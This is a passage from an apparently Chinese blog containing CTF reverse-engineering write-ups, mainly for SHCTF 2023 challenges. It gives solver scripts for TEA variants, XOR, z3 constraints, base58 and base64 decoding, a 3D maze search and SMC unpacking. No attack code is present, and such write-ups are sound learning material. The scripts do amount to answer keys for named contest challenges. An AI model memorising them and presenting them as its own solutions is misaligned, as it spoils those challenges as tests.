num_rounds;\n for (i = 0; i < num_rounds; i++) {\n sum -= delta;\n v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[(sum & 3)]);\n v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ ((sum + key[((sum >> 11) & 3)]) ^ sum);\n }\n v[0] = v0; v[1] = v1;\n printf(\"解密后的数据:%u %u\\n\", v[0], v[1]);\n}\n\nint main()\n{\n uint32_t v[38] = { 0x9AF9464B, 0xC417B89E, 0xB217A713, 0xC93BA9E8, 0x94F3E44E, 0xB5CC2AB5, 0x4451E42C, 0x7A8A289A,\n 0x53C8D008, 0x6E117B49, 0x9BFFD794, 0x5EFF2DF9, 0x17E72531, 0xDFBD9979, 0x8F871B3A, 0x73E8C5AC,\n 0xB28670A6, 0x5AF6A369, 0x2CF7DA24, 0x347B66AF, 0xB9C84D60, 0x911E912F, 0xBD5A2F9B, 0xCB96733A,\n 0xC59968BE, 0xA00013E9, 0xC12F4EA4, 0xDE863A10, 0xA0C4D594, 0x4380983C, 0x7E2F7648, 0xE54DDC89,\n 0x3F27A690, 0xB58D3199, 0x604AE517, 0x9C903984, 0xF4E04481, 0x3CF4EDFF };\n uint32_t flag[2] = {0x0,0x0};\n uint32_t pqw[2] = { 'S','}'};\n uint32_t const k[4] = { 0x00000020, 0x0000001B, 0x00000027, 0x0000002C };\n unsigned int i,r = 54;//num_rounds建议取值为32\n // v为要加密的数据是两个32位无符号整数\n // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位\n //printf(\"加密前原始数据:%u %u\\n\", v[0],v[1]);\n //encipher(r, v, k);\n //printf(\"加密后的数据:%u %u\\n\", v[0], v[1]);\n encipher(r, pqw, k);\n for (i = 0; i < 38; i+=2)\n {\n flag[0] = v[i];\n flag[1] = v[i + 1];\n decipher(r, flag, k);\n\n }\n return 0;\n}\n```\n\n经过测试,这样直接套用ida里的代码也是可以的\n\n``` c\n for (i = 0; i < num_rounds; i++) {\n v1 += sum ^ (*(key + 1 * ((sum >> 11) & 3)) + sum) ^ (v0 + ((v0 >> 5) ^ (16 * v0)));\n v0 += (*(key + 1 * (sum & 3)) + sum) ^ (v1 + ((v1 >> 5) ^ (16 * v1)));\n sum += 0x31415927;\n }\n v[0] = v0; v[1] = v1;\n printf(\"加密后的数据:%u %u\\n\", v[0], v[1]);\n```\n\n\n\n## 浪漫至死不渝\n\n已知加密后的数据以及密钥,直接爆破就好了\n\n``` c\n#include <stdio.h>\n#include <stdint.h>\n#include<string.h>\n\nint main()\n{\n int enc[]={ 125, 130, 131, 122, 117, 110, 123, 125, 130, 131, 122, 117, 110, 123, 99, 99, 99, 99 };\n int key[] = { '5','2','0','1','3','1','4','W','X','H','N' };\n int i, j, k;\n for (i = 14; i < 18; i++)\n {\n for (j = 33; j < 126; j++)\n {\n k = j;\n k = j ^ key[i - 7];\n k += 99;\n if (k == enc[i])\n {\n printf(\"%c \", j);\n }\n }\n }\n\n\n return 0;\n}\n```\n\n``` c\n#include <stdio.h>\n#include <stdint.h>\n#include<string.h>\n\nint main()\n{\n int enc[]={ 125, 130, 131, 122, 117, 110, 123, 125, 130, 131, 122, 117, 110, 123, 99, 99, 99, 99 };\n int key[] = { '5','2','0','1','3','1','4','W','X','H','N' };\n int i, j, k;\n for (i = 0; i < 14; i++)\n {\n for (j = 33; j < 126; j++)\n {\n k = j;\n k = j ^ key[i % 7];\n k += 10;\n if (k == enc[i])\n {\n printf(\"%c \", j);\n }\n }\n }\n\n\n return 0;\n}\n```\n\n## easymath\n\n做不了一点\n\n``` python\nfrom z3 import * \n\nsolver = Solver()\n\ncharset = \"01234_asdzxcpoityumnbAOZWXGMY\"\n\nflag = [BitVec('f%d'%i, 8) for i in range(26)]\n\nfor i in range(26):\n solver.add(Or([flag[i] == ord(c) for c in charset]))\n \nmatrix = [0x12, 0x1D, 0x10, 0x13, 0x1B, 0x08, 0x1F, 0x08, 0x17, 0x1E, 0x1D, 0x03, 0x1C, 0x0A, 0x15, 0x12, 0x1D, 0x08, 0x10, 0x1C, 0x0B, 0x1E, 0x07, 0x14, 0x07]\n\nv7 = [[BitVec('v%d_%d'%(i,j), 8) for j in range(5)] for i in range(5)]\nfor i in range(5):\n for j in range(5):\n for k in range(5):\n v7[i][j] = v7[i][j] + flag[5*i+k] * matrix[5*k+j]\n v7[i][j] = v7[i][j] & 0x1F\n\n# 对角线等于1 \nfor i in range(5):\n solver.add(v7[i][i] == 1)\n \n# 非对角线等于0\nfor i in range(5):\n for j in range(5):\n if i != j:\n solver.add(v7[i][j] == 0)\n\n# 特定字节等于要求值 \nsolver.add(flag[1] == ord('t'))\nsolver.add(flag[7] == ord('y')) \nsolver.add(flag[17] == ord('y'))\n\nif solver.check() == sat:\n m = solver.model()\n res = []\n for i in range(26):\n res.append(m[flag[i]].as_long())\n print(bytes(res).decode())\nelse:\n print(\"No solution found\")\n```\n\n## mySelf\n\n对比着他的算法,抄过来就可以了,一开始是个SMC,我们需要绕过一下,然后恢复函数\n\n``` c\n#include <stdio.h>\n#include <stdint.h>\n\n/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */\n\nvoid encipher(unsigned int num_rounds, uint32_t v[2]) {\n unsigned int i;\n uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 1640531527;\n for (i = 0; i < num_rounds; i++) {\n sum -= 1640531527;\n v1 += ((v0 >> 5) + 2) ^ ((16 * v0) + 2) ^ (sum + v0);\n v0 += ((v1 >> 5) + 4) ^ ((16 * v1) + 3) ^ (sum + v1);\n }\n v[0] = v0; v[1] = v1;\n printf(\"加密后的数据:%u %u\\n\", v[0], v[1]);\n}\n\nvoid decipher(unsigned int num_rounds, uint32_t v[2]) {\n unsigned int v0 = v[0], v1 = v[1], delta = 1640531527;\n unsigned int i, sum = -(1640531527 * 32);\n for (i = 0; i < 32; i++) {\n \n v1 -= ((v0 >> 5) + 4) ^ ((16 * v0) + 3) ^ (sum + v0);\n v0 -= ((v1 >> 5) + 2) ^ ((16 * v1) + 2) ^ (sum + v1);\n sum += 1640531527;\n }\n v[0] = v0; v[1] = v1;\n printf(\"解密后的数据:%x %x\\n\", v[0], v[1]);\n}\n\nint main()\n{\n uint32_t v[8] = { 0xBDBDF9F0, 0xE26194C4, 0x80799125, 0x1F0FC219, 0xEB6A1815, 0x84F572C5, 0x40CC3A85, 0xD2A32ABB };\n uint32_t flag[2] = { 0x0,0x0 };\n uint32_t pqw[2] = { 'S','Y' };\n uint32_t const k[4] = { 0x00000020, 0x0000001B, 0x00000027, 0x0000002C };\n unsigned int i, r = 32;//num_rounds建议取值为32\n // v为要加密的数据是两个32位无符号整数\n // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位\n //printf(\"加密前原始数据:%u %u\\n\", v[0],v[1]);\n //encipher(r, v, k);\n //printf(\"加密后的数据:%u %u\\n\", v[0], v[1]);\n \n for (i = 0; i < 8; i += 2)\n {\n flag[0] = v[i];\n flag[1] = v[i + 1];\n // encipher(r, flag);\n decipher(r, flag);\n\n }\n printf(\"%c\", 2157182970);\n return 0;\n}\n```\n\n"},{"title":"SHCTF","url":"/2023/10/02/SHCTF/","content":"\n\n\n## RE\n\n### [WEEK1]ez_asm\n\n简单的asm代码,直接对照的逻辑逆向即可\n\n\n\n``` python\nflag = \"nhuo[M`7mc7uhc$7midgbTf`7`$7%#ubf7 ci5Y\" \n\nfor i in range(len(flag)):\n \n c = flag[i] \n c = ord(c)+0xA\n flag = flag[:i] + chr(c) + flag[i+1:]\n\n c = flag[i]\n c = ord(c)^0x1E\n flag = flag[:i] + chr(c) + flag[i+1:]\n\n\n\nprint(flag)\n```\n\n<!-- more --> \n\n### [WEEK1]easy_re\n\n他的加密算法就是把字符串的高位变到低位,地位变到高位而已,直接写代码进行替换\n\n``` python\ndes =[\n 0x66, 0xC6, 0x16, 0x76, 0xB7, 0x45, 0x27, 0x97, 0xF5, 0x47, \n 0x03, 0xF5, 0x37, 0x03, 0xC6, 0x67, 0x33, 0xF5, 0x47, 0x86, \n 0x56, 0xF5, 0x26, 0x96, 0xE6, 0x16, 0x27, 0x97, 0xF5, 0x07, \n 0x27, 0x03, 0x26, 0xC6, 0x33, 0xD6, 0xD7\n]\n\nresult = \"\"\n\nfor c in des:\n high = (ord(chr(c)) & 0xF0) >> 4\n low = (ord(chr(c)) & 0x0F) << 4\n orig = high | low\n \n result += chr(orig)\n\nprint(result)\n```\n\n### [WEEK1]seed\n\nIDA分析得知就是简单的通过伪随机数获取10个数,然后和flag进行异或,难点在于伪随机数为多少,我们动调后发现他的伪随机数是0\n\n``` c\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <time.h>\n\nint main() {\n unsigned char flag[50];\n unsigned char key[10];\n unsigned char des[45] = {\n 0x40, 0x29, 0x28, 0xE9, 0xC2, 0x04, 0xA4, 0xED, 0x9F, 0x53, 0x5F, 0x75, 0x3C, 0xD1, 0xCD, 0x2B, 0xA8,\n 0xC4, 0x89, 0x69, 0x15, 0x21, 0x16, 0xEF, 0xD7, 0x27, 0x92, 0xDF, 0xCA, 0x53, 0x5F, 0x2A, 0x3C, 0xD1,\n 0xCE, 0x03, 0xA3, 0xEF, 0xA5, 0x78, 0x16, 0x1A, 0x2D, 0xE1, 0xC4\n }; // 密文\n\n srand(0); // 设置随机种子为当前时间\n\n for (int i = 0; i < 10; i++) {\n key[i] = rand() % 255; // 随机生成key\n }\n\n for (int i = 0; i < 45; i++) {\n des[i] ^= key[i % 10]; // 异或加密\n printf(\"%c\", des[i]);\n }\n\n return 0;\n}\n\n```\n\n\n\n### [WEEK1]signin\n\nIDA打开后直接\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.zvde9hyzyog.png)\n\n\n\n### [WEEK1]easy_math\n\n直接z3约束求解即可\n\n``` python\nfrom z3 import *\n\n# 创建一个符号变量数组l,包含6个整数变量\nl = [Int('l%d' % i) for i in range(6)]\n\n# 创建一个Z3求解器\nsolver = Solver()\n\n# 添加方程组\nsolver.add(\n (593 * l[0] + 997 * l[1] + 811 * l[2] + 258 * l[3] + 829 * l[4] + 532 * l[5]) == 0x5b8e0aef71d34ff43,\n (605 * l[0] + 686 * l[1] + 328 * l[2] + 602 * l[3] + 695 * l[4] + 576 * l[5]) == 0x551a262360964ef7f,\n (373 * l[0] + 512 * l[1] + 449 * l[2] + 756 * l[3] + 448 * l[4] + 580 * l[5]) == 0x49d158a5657d6931c,\n (560 * l[0] + 635 * l[1] + 422 * l[2] + 971 * l[3] + 855 * l[4] + 597 * l[5]) == 0x625568d5abbabf4f3,\n (717 * l[0] + 507 * l[1] + 388 * l[2] + 925 * l[3] + 324 * l[4] + 524 * l[5]) == 0x50ee0c025e70e3c23,\n (312 * l[0] + 368 * l[1] + 884 * l[2] + 518 * l[3] + 495 * l[4] + 414 * l[5]) == 0x40e735f8aa2815f65\n)\n\n# 检查是否存在解\nif solver.check() == sat:\n model = solver.model()\n result = [model[l[i]].as_long() for i in range(6)]\n print(\"Solution found:\")\n print(result)\nelse:\n print(\"No solution found.\")\n\nfor i in range(6):\n result[i]=hex(result[i])\n for j in range(7):\n print(chr(int(result[i][2:][j*2:j*2+2],16)),end='')\n```\n\n### [WEEK1]ez_apk\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.1p56go1mdb0g.png)\n\n我们分析代码,发现了加密函数,这段时一个base58的码表转换,但最后直接给了加密后的码表\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.1t2a0v5wtabk.webp)\n\n我们在mainactivity中点击smail代码,找到原始数据,直接base58换表解密即可\n\nx mappings = { 0x04:\"A\", 0x05:\"B\", 0x06:\"C\", 0x07:\"D\", 0x08:\"E\", 0x09:\"F\", 0x0A:\"G\", 0x0B:\"H\", 0x0C:\"I\", 0x0D:\"J\", 0x0E:\"K\", 0x0F:\"L\", 0x10:\"M\", 0x11:\"N\",0x12:\"O\", 0x13:\"P\", 0x14:\"Q\", 0x15:\"R\", 0x16:\"S\", 0x17:\"T\", 0x18:\"U\",0x19:\"V\", 0x1A:\"W\", 0x1B:\"X\", 0x1C:\"Y\", 0x1D:\"Z\", 0x1E:\"1\", 0x1F:\"2\", 0x20:\"3\", 0x21:\"4\", 0x22:\"5\", 0x23:\"6\", 0x24:\"7\", 0x25:\"8\", 0x26:\"9\", 0x27:\"0\", 0x28:\"\\n\", 0x2a:\"[DEL]\", 0X2B:\" \", 0x2C:\" \", 0x2D:\"-\", 0x2E:\"=\", 0x2F:\"[\", 0x30:\"]\", 0x31:\"\\\\\", 0x32:\"~\", 0x33:\";\", 0x34:\"'\", 0x36:\",\", 0x37:\".\" }nums = []keys = open('usbdata.txt')for line in keys: if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0': continue nums.append(int(line[6:8],16))keys.close()output = \"\"for n in nums: if n == 0 : continue if n in mappings: output += mappings[n] else: output += '[unknown]'print('output :\\n' + output)# output :# SEC2ETK3YPython\n\n\n\n### [WEEK2]pycode\n\n直接gpt将py字节码转换成普通的代码形式\n\n``` python\nimport base64\n\nflag = '*******************'\nvalue = ''\noutput = ''\n\nfor i in range(1000):\n w = 1024\n x = w % 3\n y = w // 9\n z = x * y\n w -= z\n \nfor i in range(10000):\n w = 20\n x = w % 6\n y = w // 3\n z = x * y\n w += z\n\nfor i in range(1000):\n w = 1024\n x = w % 3\n y = w // 9 \n z = x * y\n w -= z\n \nfor i in range(10000):\n w = 20\n x = w % 6\n y = w // 3\n z = x * y \n w += z\n \nfor i in range(len(flag)):\n temp = flag[i]\n temp = chr(ord(temp) ^ 8)\n value += temp\n \nfor i in range(len(flag)):\n temp = value[i]\n temp = chr(ord(temp) + 3)\n output += temp\n \nobfuscated_output = base64.b64encode(output.encode()).decode()\nobfuscated_output = obfuscated_output[:-1]\nobfuscated_output = obfuscated_output.replace('0', 't')\nobfuscated_output = obfuscated_output.replace('c', '4')\nobfuscated_output = obfuscated_output.replace('+', '-')\nprint(obfuscated_output)\n```\n\n我们可以看到前面基本都是混淆的,我们只需要从后往前慢慢还原就好了\n\n``` python\nimport base64\na='==AeAF3M-tzO-giQ-AUQosDQ9tGK7MDPuhC47tDNB5Tb8Yn4sdW4'\n\na=a.replace('t','0')\na=a.replace('4','c')\na=a.replace('-','+')\n\na=a[::-1]\na=base64.decodebytes(a.encode('utf-8'))\na=a.decode('utf-8')\na=list(a)\n\nfor i in range(len(a)):\n a[i]=(ord(a[i])-3)^8\n print(chr(a[i]),end='')\n```\n\n\n\n### [WEEK2]Authur's_box\n\n\n\n``` python\na=[0xAD,0xA7,0xAA,0xAC,0xB0,0xF8,0xA8,0xFE,0xAF,0xFF,0xF3,0xA9,0xA8,0xE6,0xFF,0xFE,0xF2,0xFE,0xE6,0xFF,0xFC,0xF2,0xAD,0xE6,0xA9,0xFD,0xFF,0xF9,0xE6,0xA8,0xAD,0xA8,0xF2,0xA8,0xAD,0xFD,0xF3,0xAF,0xF3,0xAD,0xFA,0xB0]\n\nfor i in range(len(a)):\n a[i]=a[i]^0xcb\n print(chr(a[i]),end='')\n```\n\n### [WEEK2]签到题?\n\n这个题做的我有点懵逼,该说不说确实是签到\n\n直接动调取值,取出值后直接base64解密就得出flag了\n\n![image-20231031124243081](C:\\Users\\a\\AppData\\Roaming\\Typora\\typora-user-images\\image-20231031124243081.png)\n\n![image-20231031124515480](C:\\Users\\a\\AppData\\Roaming\\Typora\\typora-user-images\\image-20231031124515480.png)\n\n### [WEEK2]not gcc\n\n[clang llc llvm 常用编译指令-CSDN博客](https://blog.csdn.net/pc153262603/article/details/89553688)\n\n[2021CISCN-逆向-baby.bc-部分知识点总结 - re0juren - 博客园 (cnblogs.com)](https://www.cnblogs.com/ren-ctfnote/p/14948764.html)\n\n```\nclang baby.bc -o baby\n```\n\n直接用命令把.bc文件编译成可执行文件,然后开始操作。分析代码\n\n我们分析代码发现关键函数是sudoku函数,代码逻辑就是我们输入正确的81位数独的值,然后他把他提供的数独的值置为0,然后把未知的置为我们求出来的数独的值(有点绕)\n\n``` c\n__int64 __fastcall Sudoku(char *a1)\n{\n int v2; // [rsp+8h] [rbp-1Ch]\n int j; // [rsp+Ch] [rbp-18h]\n int i; // [rsp+10h] [rbp-14h]\n\n for ( i = 0; i < 9; ++i )\n {\n for ( j = 0; j < 9; ++j )\n {\n v2 = *a1;\n if ( map[9 * i + j] )\n {\n if ( v2 != 48 )\n return 0;\n }\n else\n {\n map[9 * i + j] = v2;\n }\n }\n }\n return 1;\n}\n\n```\n\n\n\n是个数独的题目,我们提取map里的值,然后去在线解数独的网站进行解密,然后我们分析上述的代码逻辑,根据他的代码逻辑对我们原本的map的值进行修改,就是最后我们要输出的答案\n\n![image-20231031125334209](C:\\Users\\a\\AppData\\Roaming\\Typora\\typora-user-images\\image-20231031125334209.png)\n\n那么我们直接异或就可以了,相同的值异或是0,不同的值异或0也是原本的值\n\n``` python\nimport hashlib\n\na=\"407003208500020900012980004709104800061000470003270006086300040020740630304002000\"\nb=\"497513268538426917612987354759164823261839475843275196986351742125748639374692581\"\nc=''\nfor i in range(len(a)):\n c+=str(int(a[i])^int(b[i]))\n # print(int(a[i])^int(b[i]),end='')\n# print(c)\n# 090510060038406017600007350050060023200839005840005190900051702105008009070690581\nd=hashlib.md5()\nd.update(b'090510060038406017600007350050060023200839005840005190900051702105008009070690581')\nprint(d.hexdigest())\n```\n\n### [WEEK2]Run?润!\n\n迷宫题目,学习了一下数据结构中的DFS和BFS算法,提供地图一键解出路径,学习了如何调试出地图\n\n[微信公众平台 (qq.com)](https://mp.weixin.qq.com/s/T6ML7zwA57JXTRwOZqcxhw?spm=a2c6h.12873639.article-detail.7.19f31041PU5YhX)\n\n[CTF-Reverse 迷宫地图类题目分析‘‘DFS和BFS算法‘‘(学习笔记)【详】-CSDN博客](https://blog.csdn.net/Sciurdae/article/details/133963882)\n\n[SHCTF2023 山河CTF Reverse方向week2全WP【详解】-CSDN博客](https://blog.csdn.net/Sciurdae/article/details/133964592)\n\n分析代码,我们看到sub_401A26();就是我们的地图生成函数,我们看到他的调用情况,最一开始调用了一次,然后后续的走迷宫的过程中又生成了一次\n\n``` c\n_DWORD *sub_401A26()\n{\n int v0; // eax\n __int64 v1; // rdx\n _DWORD *result; // rax\n int j; // [rsp+4h] [rbp-Ch]\n int i; // [rsp+8h] [rbp-8h]\n int v5; // [rsp+Ch] [rbp-4h]\n\n v5 = 0;\n for ( i = 0; i <= 1; ++i )\n {\n for ( j = 31; j >= 0; --j )\n {\n v0 = v5++;\n v1 = v0;\n result = dword_408060;\n dword_408060[v1] = (dword_404020[2 * dword_408040 + i] >> j) & 1;\n }\n }\n return result;\n}\n```\n\n\n\n![image-20231031181941311](C:\\Users\\a\\AppData\\Roaming\\Typora\\typora-user-images\\image-20231031181941311.png)\n\nv8 = sub_401AAF(v8, Str[i]);是我们的主函数,我们分析其中的代码可以分析出这是3维迷宫,u和q就是控制的三维迷宫的xyz中的x(层),他们使用一次是加减64,同时dword_408040记录的就是我们当初的层数,可以看到调用u和q的时候他会加减变化,初始值为0,w和s是控制的xyz中的y,就是每层的行数,a和d就是控制的z,每一数据具体的列数\n\n``` c\n__int64 __fastcall sub_401AAF(int a1, char a2)\n{\n int v3; // [rsp+30h] [rbp+10h]\n\n switch ( a2 )\n {\n case 'a':\n v3 = a1 - 1;\n goto LABEL_12;\n case 'd':\n v3 = a1 + 1;\n goto LABEL_12;\n case 'q':\n v3 = a1 - 64;\n if ( --dword_408040 < 0 )\n {\n puts(\"You crossed the line!Get out of here!\");\n exit(0);\n }\n goto LABEL_11;\n case 's':\n v3 = a1 + 8;\n goto LABEL_12;\n case 'u':\n v3 = a1 + 64;\n if ( ++dword_408040 > 7 )\n {\n puts(\"You crossed the line!Get out of here!\");\n exit(0);\n }\nLABEL_11:\n sub_401A26();\n goto LABEL_12;\n case 'w':\n v3 = a1 - 8;\nLABEL_12:\n if ( v3 > 511 )\n goto LABEL_16;\n if ( dword_408060[v3] )\n {\n dword_408044 = 1;\n puts(\"You crossed the line!Get out of here!\");\n exit(0);\n }\n return (unsigned int)v3;\n default:\nLABEL_16:\n puts(\"You crossed the line!Get out of here!\");\n exit(0);\n }\n}\n```\n\n我们分析完了源码接下来就是思考如何获取迷宫,我们采用动调的方式进行取值,我们输入很多u,让他每次判断都是往u的判断里走,因为我们要让dword_408040的值变化,因为生成迷宫的函数中就是根据这个的值进行变化的,然后每次他都会调用一下sub_401A26(),生成对应层的迷宫,调用完了后,我们手动把RIP的值改成0x0000000000401B0F,让他再次进入u这个case判断中,对dword_408040进行自加1,然后继续调用sub_401A26,直到最后dword_408040的值大于7位置,我们到目前也能判断出他是8x8x8的三维迷宫\n\n![image-20231031182756375](C:\\Users\\a\\AppData\\Roaming\\Typora\\typora-user-images\\image-20231031182756375.png)\n\n调试出了迷宫后我们就可以使用脚本,或者自己读出我们的路径了\n\n``` python\nmaze = [0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1,\n 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1,\n 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0,\n 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1,\n 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 2]\n\n\n# maze[x * 64 + y * 8 + z]\ndef check_point_valid(map, x, y, z):\n if (x >= 0) and (x <= 7) and (y >= 0) and (y <= 7) and (z >= 0) and (z <= 7):\n return (map[x * 64 + y * 8 + z] != 1) and ((map[x * 64 + y * 8 + z] == 0) or (map[x * 64 + y * 8 + z] == 2))\n else:\n return False\n\n\ndef gen_nex(map, x, y, z):\n all_dir = []\n if check_point_valid(map, x - 1, y, z):\n all_dir.append((x - 1, y, z, 'q'))\n if check_point_valid(map, x + 1, y, z):\n all_dir.append((x + 1, y, z, 'u'))\n if check_point_valid(map, x, y - 1, z):\n all_dir.append((x, y - 1, z, 'w'))\n if check_point_valid(map, x, y + 1, z):\n all_dir.append((x, y + 1, z, 's'))\n if check_point_valid(map, x, y, z - 1):\n all_dir.append((x, y, z - 1, 'a'))\n if check_point_valid(map, x, y, z + 1):\n all_dir.append((x, y, z + 1, 'd'))\n print(all_dir)\n return all_dir\n\n\ndef check_success(map, x, y, z):\n if map[x * 64 + y * 8 + z] == 2:\n return True\n else:\n return False\n\n\ndef dfs(mapb, x, y, z, path):\n map = mapb.copy()\n if map[x * 64 + y * 8 + z] != 2:\n map[x * 64 + y * 8 + z] = 1\n if check_success(map, x, y, z):\n print(path)\n return True\n\n next_point = gen_nex(map, x, y, z)\n for n in next_point:\n pathn = path + n[3]\n dfs(map, n[0], n[1], n[2], pathn)\n\n\noutpus = \"\"\ndfs(maze, 0, 0, 0, outpus)\n```\n\n> ssdddssuuuwwwwqqqdddduussaauuuaaaaassssqddddddduuwwwaasusssdd\n\n我们分析最后的函数,可以直接通过动调获取flag\n\n![image-20231031183240426](C:\\Users\\a\\AppData\\Roaming\\Typora\\typora-user-images\\image-20231031183240426.png)\n\n\n\n### [WEEK3]ststst\n\nSMC加tea\n\n我们分析代码,可以看到有一段修改内存的函数,以及赋予内存修改权限的mprotect,我们猜测这就是SMC的自解密\n\n``` c\nint sub_400763()\n{\n int i; // [rsp+Ch] [rbp-14h]\n\n mprotect(&dword_400000, 0x1000uLL, 7);\n for ( i = 0; i < (sub_400763 - sub_400696); ++i )\n *(sub_400696 + i) ^= 0xC3u;\n return mprotect(&dword_400000, 0x1000uLL, 5);\n}\n```\n\n直接动调,然后选中全部的数据按u,然后选中函数头按c和p,就可以编译成一个完整的函数,我们可以看到是一个魔改tea加密,他修改了sum的值,我们用别人的脚本跑一下就行\n\n``` c\n__int64 __fastcall sub_400696(unsigned int *a1, _DWORD *key)\n{\n __int64 result; // rax\n unsigned int v0; // [rsp+10h] [rbp-10h]\n unsigned int v1; // [rsp+14h] [rbp-Ch]\n int sum; // [rsp+18h] [rbp-8h]\n unsigned int i; // [rsp+1Ch] [rbp-4h]\n\n v0 = *a1;\n v1 = a1[1];\n sum = 0;\n for ( i = 0; i <= 31; ++i )\n {\n sum -= 0x61C88647;\n v0 += (v1 + sum) ^ (16 * v1 + *key) ^ ((v1 >> 5) + key[1]);\n v1 += (v0 + sum) ^ (16 * v0 + key[2]) ^ ((v0 >> 5) + key[3]);\n }\n *a1 = v0;\n result = v1;\n a1[1] = v1;\n return result;\n}\n```\n\n[浅析C语言之uint8_t / uint16_t / uint32_t /uint64_t-CSDN博客](https://blog.csdn.net/mary19920410/article/details/71518130)\n\n``` c\n#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\nint delta = 0x61C88647;\nvoid decrypt(uint32_t* v, uint32_t* k) {\n\tuint32_t v3 = v[0];\n\tuint32_t v4 = v[1];\n\tuint32_t sum = ((32 * (-delta)) & 0xffffffff);\n\tint i = 0;\n\tfor (i = 0; i <= 31; i++) {\n\t\tv4 -= (v3 + sum) ^ (16 * v3 + k[2]) ^ ((v3 >> 5) + k[3]);\n\t\tv3 -= (v4 + sum) ^ (16 * v4 + k[0]) ^ ((v4 >> 5) + k[1]);\n\t\tsum += 0x61C88647;\n\t}\n\tv[0] = v3;\n\tv[1] = v4;\n}\nint main() {\n\tuint32_t key[4] = { 0x01234567, 0x89ABCDEF, 0xFEDCBA98, 0x76543210 };\n\tuint32_t array[8] = { 0xDB8F2569, 0x40CD83E3, 0xA033E680, 0xFFF7A644,\n\t0x690C3A17, 0xB621B866, 0x34E7E2A7, 0xAD10A692 }; //密码数据\n\tuint32_t temp[2] = { 0 };\n\tint i = 0;\n\tfor (i = 0; i <= 7; i += 2) {\n\t\ttemp[0] = array[i];\n\t\ttemp[1] = array[i + 1];\n\t\tdecrypt(temp, key);\n\t\tprintf(\"%c%c%c%c%c%c%c%c\", *((char*)&temp[0] + 0), *((char*)&temp[0] +\n\t\t\t1), *((char*)&temp[0] + 2), *((char*)&temp[0] + 3), *((char*)&temp[1] + 0), *\n\t\t\t((char*)&temp[1] + 1), *((char*)&temp[1] + 2), *((char*)&temp[1] + 3));\n\t}\n\treturn 0;\n}\n```\n\n### [WEEK3]easyre\n\n开局一个exe文件,和之前的不同,我们用die看了后是用py打包的,那么我们就解包,反编译\n\n> python pyinstxtractor-ng.py 1.exe\n> uncompyle6 main.pyc > main.py\n\n我们把其中的main.pyc转换成py代码\n\n![image-20231031212031065](C:\\Users\\a\\AppData\\Roaming\\Typora\\typora-user-images\\image-20231031212031065.png)\n\n用gpt得出他的xor的值是23,我们根据他的代码逻辑,他就会执行一个程序,但我们看不到我们需要的代码\n\n``` python\nimport base64\nimport marshal\nfrom dis import dis\n\nencoded_data = b'...'\n\n\nxor_decoded_data = bytes([byte ^ 23 for byte in 